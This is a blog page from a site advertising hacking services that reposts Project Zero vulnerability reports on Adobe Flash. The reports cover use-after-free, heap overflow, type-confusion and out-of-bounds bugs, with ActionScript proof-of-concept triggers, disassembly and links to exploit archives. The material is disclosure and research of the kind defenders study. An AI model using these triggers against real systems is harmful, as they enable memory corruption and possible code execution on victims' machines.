Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86399559

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1174

The attached fuzzed swf causes a crash due to heap corruption when processing the margins of a rich text field.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42018.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=667

There is a use-after-free in LoadVars.decode. If a watch is set on the object that the parameters are being decoded into, and the watch deletes the object, then other methods are called on the deleted object after it is freed. A PoC is as follows:

var lv = new LoadVars();
var f = lv.decode;
var tf = this.createTextField("tf",1, 2, 3, 4, 5);
tf.natalie = "not test";
tf.watch("natalie", func);
f.call(tf, "natalie=test&bob=1");
trace(tf.natalie);


function func(){
	
	trace("here");
	tf.removeTextField();	
	return "test";

	}
	

A sample swf and fla are attached. This issue was reproduced in Chrome on 64-bit Ubuntu.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39463.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=790

Loading the attached image causes heap corruption due to LMZA property decoding. To reproduce the issue, load the attach file '6' using LoadImage.swf as follows:

LoadImage.swf?img=6

The issue sometimes takes multiple refreshes to crash


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40089.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=791

There is an out-of-bounds read in JXR processing. This issue is probably not exploitable, but could be used an an information leak.

To reproduce the issue, load the attach file '8' using LoadImage.swf as follows:

LoadImage.swf?img=8


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39824.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=788

There is a heap overflow when loading the attacked JXR file in Adobe Flash. To reproduce, load the attached file using LoadImage.swf?img=12.atf.

This issue can be a bit difficult to reproduce, as the crash occurs when the player is destroyed, so the crash screen doesn't always show up on the Player. The easiest way to detect the issue is to attach a debugger to the Player and refresh a few times.

Took a closer look at this, it is a UaF of plane->model_hp_buffer in the open-source JXR component.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40088.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1320

The attached fuzzed swf file causes the traits of an ActionScript object to be accessed out of bounds. This can probably lead to exploitable type confusion. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42480.zip
HireHackking 
The attached image causes an info leak in image inflation. It occasionally crashes when rendered, otherwise it displays uninitialized memory as pixels.

To reproduce, put the attached images on a webserver and vist: http://127.0.0.1?img=inflate.png.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44528.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1215

The attached png file causes an out-of-bounds read when being decoded by flash. To reproduce the issue, put LoadImage.swf and read1.png on a server, and visit:

http://127.0.0.1/LoadImage.swf=read1.png


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42248.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=484&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for: https://code.google.com/p/chromium/issues/detail?id=508072]

VULNERABILITY DETAILS
Copy Paste of  Issue 480496 

VERSION
Chrome Version: N/A yet, Flash 18.0.0.203
Operating System: [Win7 x64 SP1]

REPRODUCTION CASE

Flash 18.0.0.203 patched  Issue 480496  by checking if the internal filter object is still alive after the first Array.length call (from Flash player standalone):

.text:004D71DA loc_4D71DA:
.text:004D71DA                 and     ecx, 0FFFFFFF8h
.text:004D71DD                 call    xAS2_getArrayLength
.text:004D71E2                 test    eax, eax
.text:004D71E4                 jle     short loc_4D725D
.text:004D71E6                 mov     ecx, [esp+8+arg_C]
.text:004D71EA                 mov     eax, [ecx+94h]
.text:004D71F0                 test    eax, 0FFFFFFFEh
.text:004D71F5                 jz      short loc_4D7200
.text:004D71F7                 and     eax, 0FFFFFFFEh
.text:004D71FA                 cmp     dword ptr [eax+28h], 0       ; here we check whether the object has been deleted or not
.text:004D71FE                 jnz     short loc_4D720B
.text:004D7200
.text:004D7200 loc_4D7200:
.text:004D7200                 mov     ecx, dword_E51A40
.text:004D7206                 call    sub_968A00                   ; and in that case we suicide


Unfortunately they forget to do that check after the second Array.length call:

.text:004D721D loc_4D721D:
.text:004D721D                 and     eax, 0FFFFFFF8h
.text:004D7220                 push    edi
.text:004D7221                 mov     edi, eax
.text:004D7223                 mov     ecx, edi
.text:004D7225                 xor     esi, esi
.text:004D7227                 call    xAS2_getArrayLength       ; here we can still execute a script and delete the filters...
.text:004D722C                 test    eax, eax
.text:004D722E                 jle     short loc_4D725C

Should crash that way:
CPU Disasm
Address   Hex dump          Command                                  Comments
004CE27F    8B51 04         MOV EDX,DWORD PTR DS:[ECX+4]
004CE282    8942 04         MOV DWORD PTR DS:[EDX+4],EAX         ; write a pointer to 0x41424344
004CE285    8B51 04         MOV EDX,DWORD PTR DS:[ECX+4]
004CE288    8950 08         MOV DWORD PTR DS:[EAX+8],EDX
004CE28B    FF41 08         INC DWORD PTR DS:[ECX+8]
004CE28E    8941 04         MOV DWORD PTR DS:[ECX+4],EAX
004CE291    C2 0400         RETN 4
004CE294    FF41 08         INC DWORD PTR DS:[ECX+8]


***************************************************************************
Content of flash_as2_filters_uaf_write4_poc.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "4"
//It's because Flash CS5.5 does not allow naming a property with a numeral

import flash.filters.GlowFilter;

var tfield:TextField = createTextField("tf",1,1,2,3,4)
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
	a2[i] = 0x41424344
}
a2[3] = 0
a2[0x324/4] = 0x41424344
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100
for (var i = 0; i<0x200;i++) {
	var tf:TextFormat = new TextFormat()
	a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
	a1[i].tabStops = a2
}
	a1[0xFF].tabStops = []

function f() {

	_global.mc.createTextField("tf",1,1,2,3,4)

a1[0xFE].tabStops = []
a1[0xFD].tabStops = []
for (var i = 0x100; i<0x200;i++) {
		_global.a1[i].tabStops = _global.a2
	}
}

_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2

var oCounter:Object = new Object()
oCounter.valueOf = function () {
	_global.counter += 1
	if (_global.counter == 4) f()
	return 10;
}

var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o;


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37884.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=789

There is a large heap overflow in reading an ATF image to a Bitmap object. To reproduce the issue, load the attach file '4' using LoadImage.swf as follows:

LoadImage.swf?img=4


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39827.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=425&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately and:

http://localhost/LoadMP4.swf?file=crash4000368.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7789d081bb <__memmove_ssse3_back+443>:	movaps %xmm1,-0x10(%rdi)

rdi            0x7f7778d69200

7f777894b000-7f7778d69000 rw-p 00000000 00:00 0 
7f7778d69000-7f7778d88000 ---p 00000000 00:00 0 

This looks very like a heap-based buffer overflow that just happens to have walked off the end of the committed heap.

Also, this bug bears disturbing similarities to CVE-2015-3043, see for example: https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37879.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=426&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

To reproduce, host the attached files appropriately, and:

http://localhost/LoadMP4.swf?file=crash3006694.flv

If there is no crash at first, refresh the page a few times.

With a debugger attached to 64-bit Flash in Chrome Linux, the crash manifests like this:

=> 0x00007f7779846eee:	mov    %ax,(%rdi,%rdx,2)

rax            0xff69
rdi            0x7f7778b70000
rdx            0x160b

7f777861e000-7f7778b72000 rw-p 00000000 00:00 0 
7f7778b72000-7f7779228000 ---p 00000000 00:00 0 

It looks like an indexing error; the rdi "base" address is in bounds but add on 2*rdx and the address is not in bounds.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37880.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=632

There is an out-of-bounds read in H264 parsing, a fuzzed file is attached. To load, load LoadMP4.swf with the URL parameter file=compute_poc.flv from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39464.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=633

The attached flv file causes stack corruption when loaded into Flash. To use the PoC, load LoadMP42.swf?file=lownull.flv from a remote server.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39466.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=422&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a type confusion issue in the TextFormat constructor that is reachable because the FileReference constructor does not verify that the incoming object is of type Object (it only checks that the object is not native backed). The TextFormat constructor first sets a new object to type TextFormat, and then calls into script several times before setting the native backing object. If one of these script calls then calls into the FileReference constructor, the object can be set to type FileReference, and then the native object will be set to the TextFormat, leading to type confusion. A PoC is as follows:

In the main SWF:

var a = new subfr();
var allTypes:Array = new Array();
var imageTypes:Object = new Object();
imageTypes.description = "Images (*.jpg, *.jpeg, *.gif, *.png)";
imageTypes.extension = "*.jpg; *.jpeg; *.gif; *.png";
allTypes.push(imageTypes);

var textTypes:Object = new Object();
textTypes.description = "Text Files (*.txt, *.rtf)";
textTypes.extension = "*.txt;*.rtf";
allTypes.push(textTypes);
var f = new flash.net.FileReference();
f.cancel.call(a);

Defining subfr:

class subfr extends Object{


	public function subfr(){			
	var n = {valueOf : func};
    this.valueOf = func;
	this.toString = func;
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = TextFormat;
	super(this);

}

function func(){
	
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = flash.net.FileReference;
	super();
	return "natalie";
	}
		
		
}
	
	
A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37878.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=388&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There are use-after frees realated to storing a single pointer (this this pointer) in several MovieClip drawing methods, including beginFill, beginBitmapFill, beginGradientFill, linGradientStyle, lineTo, moveTo, curveTo and lineStyle. A proof-of-concept involving bitmapFill is bewlo:

import flash.display.*;
import flash.geom.*;

var bmpd:BitmapData = new BitmapData(20,20);
var rect1:Rectangle = new Rectangle(0,0,10,10);
var rect2:Rectangle = new Rectangle(0, 10, 10, 20);
var rect3:Rectangle = new Rectangle(10, 0, 20, 10);
var rect4:Rectangle = new Rectangle(10, 10, 20, 20);
bmpd.fillRect(rect1, 0xAA0000FF);
bmpd.fillRect(rect2, 0xAA00FF00);
bmpd.fillRect(rect3, 0xAAFF0000);
bmpd.fillRect(rect4, 0xAA999999);
var thiz = this;
this.createEmptyMovieClip("bmp_fill_mc", 1);
with (bmp_fill_mc) {
	
	var n = {valueOf: func};
    matrix = {a:2, b:n, c:0, d:2, tx:0, ty:0}; 
    //matrix.rotate(Math.PI/8);
    repeat = true;
    smoothing = true;
    beginBitmapFill(bmpd, matrix, repeat, smoothing);
    moveTo(0, 0);
    lineTo(0, 60);
    lineTo(60, 60);
    lineTo(60, 0);
    lineTo(0, 0);
    endFill();
}

bmp_fill_mc._xscale = 200;
bmp_fill_mc._yscale = 200;

function func(){
	
	var test = thiz.createTextField("test", 1, 1, 1, 10, 10);
	trace(test);
	test.removeTextField();
	return 777;
	} 

A sample fla and swf are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37864.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=349&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Credit is to KEEN Team.

3 different PoC's in the attached zip.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37849.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=408&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){
	
	l2.removeMovieClip();
	return "myname";
	
	}

A sample SWF and fla are attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37873.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451

If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)

var n = new Object();

n.valueOf = function () {
	trace("here");
	tf.removeTextField()
}

var o = {ra: n, rb:8};

var c = new Color(tf)
c.setTransform(o)


A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39652.zip
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=843

There is a use-after-free in BitmapData.copyPixels. If the method is called on a MovieClip, and the MovieClip is deleted during parameter conversions, it is used to convert future parameters, even though it has already been freed. A minimal proof-of-concept follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var b = new flash.display.BitmapData(10, 10, true, 7);
var f = b.copyPixels;
mc.f = f;
mc.f( {}, { x : { valueOf : func}, y : 0, width : 10, height : 10 }, { x : 0, y :0 }, "natalie", { x : 0, y : 0});


function func(){

	mc.removeMovieClip();
	
	// Fix the heap	
	
	}


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40310.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=404&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

Source file and compiled PoC attached.

Looking at https://github.com/adobe-flash/avmplus/blob/master/core/XMLListObject.cpp:

bool XMLListObject::delUintProperty(uint32_t index)
...
if (index >= _length())      [1]
        {
            return true;
        }
...
    px->childChanges(core->knodeRemoved, r->atom());  [2]
...
    m_children.removeAt(index);   [3]

In [1], the passed in index is validated. In [2], the callback can run actionscript, which might shrink the size of the current XMLList. In [3], the pre-validated index is used but it might now be invalid due to shrinking at [2]. Unfortunately, removeAt() does not behave well in the presence of an out-of-bounds index.

The PoC works by triggering a wild copy in order to demonstrate the crash. But other side-effects are possible such as decrementing the refcount of an out-of-bounds index.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37872.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=303&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470864]

VULNERABILITY DETAILS
Use After Free in Flash AVSS.setSubscribedTags, setCuePointTags and setSubscribedTagsForBackgroundManifest can be abused to write pointers to String to freed locations.

VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1

REPRODUCTION CASE
Use After Free vulnerability in AVSS.setSubscribedTags can cause arbitrary code execution.
pepflashplayer.dll 17.0.0.134, based at 0x10000000.

The setSubscribedTags is handled by sub_103255AD:

.text:103255AD                 push    ebp
.text:103255AE                 mov     ebp, esp
.text:103255B0                 and     esp, 0FFFFFFF8h
.text:103255B3                 sub     esp, 14h
.text:103255B6                 push    ebx
.text:103255B7                 mov     ebx, [ebp+arg_0]
.text:103255BA                 push    esi
.text:103255BB                 push    edi
.text:103255BC                 mov     edi, eax
.text:103255BE                 mov     eax, [ebx]
.text:103255C0                 mov     ecx, ebx
.text:103255C2                 call    dword ptr [eax+8Ch]    ; first get the length of the provided array
.text:103255C8                 lea     esi, [edi+4Ch]
.text:103255CB                 mov     [esp+20h+var_C], eax
.text:103255CF                 call    sub_103265BB
.text:103255D4                 mov     esi, [esp+20h+var_C]
.text:103255D8                 test    esi, esi
.text:103255DA                 jz      loc_1032566D
.text:103255E0                 xor     ecx, ecx
.text:103255E2                 push    4
.text:103255E4                 pop     edx
.text:103255E5                 mov     eax, esi
.text:103255E7                 mul     edx
.text:103255E9                 seto    cl
.text:103255EC                 mov     [edi+58h], esi
.text:103255EF                 neg     ecx
.text:103255F1                 or      ecx, eax
.text:103255F3                 push    ecx
.text:103255F4                 call    unknown_libname_129 ;  and then allocate an array of 4*length
.text:103255F9                 and     [esp+24h+var_10], 0
.text:103255FE                 pop     ecx
.text:103255FF                 mov     [edi+54h], eax   ; that pointer is put at offset 0x54 in the object pointed by edi


Next there is a for loop that iterates over the array items and calls the toString() method of each item encountered:

.text:10325606 loc_10325606:
.text:10325606                 mov     eax, [edi+8]
.text:10325609                 mov     eax, [eax+14h]
.text:1032560C                 mov     esi, [eax+4]
.text:1032560F                 push    [esp+20h+var_10]
.text:10325613                 mov     eax, [ebx]
.text:10325615                 mov     ecx, ebx
.text:10325617                 call    dword ptr [eax+3Ch]   ; get the ith element
.text:1032561A                 push    eax
.text:1032561B                 mov     ecx, esi
.text:1032561D                 call    sub_1007205D          ; call element->toString()
.text:10325622                 lea     ecx, [esp+20h+var_8]
.text:10325626                 push    ecx
.text:10325627                 call    sub_10061703
.text:1032562C                 mov     eax, [esp+20h+var_4]
.text:10325630                 inc     eax
.text:10325631                 push    eax
.text:10325632                 call    unknown_libname_129
.text:10325637                 mov     edx, [edi+54h]
.text:1032563A                 pop     ecx
.text:1032563B                 mov     ecx, [esp+20h+var_10]
.text:1032563F                 mov     [edx+ecx*4], eax    ; write a pointer to the string in the array
...
.text:1032565F                 inc     [esp+20h+var_10]
.text:10325663                 mov     eax, [esp+20h+var_10]
.text:10325667                 cmp     eax, [esp+20h+var_C]
.text:1032566B                 jl      short loc_10325606


The issue can be triggered as follows. Register an object with a custom toString method in an array and call AVSS.setSubscribedTags(array). When object.toString() is called, call again AVSS.setSubscribedTags with a smaller array. This results in freeing the first buffer. So when the execution flow returns to AVSS.setSubscribedTags a UAF occurs allowing an attacker to write a pointer to a string somewhere in memory.

Trigger with that:

    var avss:flash.media.AVSegmentedSource  = new flash.media.AVSegmentedSource ();
    
    var o:Object = new Object();
    o.toString = function():String {
        var a = [0,1,2,3];
        avss.setSubscribedTags(a);
        return "ahahahahah"
    };
    
    var a = [o,1,2,3,4,5,6,7,8,9];
    var i:uint = 0;
    while (i < 0x100000) {
        i++;
        a.push(i);
    }
    avss.setSubscribedTags(a);

Note: AVSS.setCuePointTags and AVSS.setSubscribedTagsForBackgroundManifest are vulnerable as well, see XAVSSArrayPoc2.swf and XAVSSArrayPoc3.swf.
    
Compile with mxmlc -target-player 15.0 -swf-version 25 XAVSSArrayPoc.as.

My mistake, not a UAF but instead a heap overflow. We allocate first 4*0x100000 bytes, then free that buffer, then reallocate 4*4 bytes, then write 0x100000 pointers to a buffer of size 0x10.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37844.zip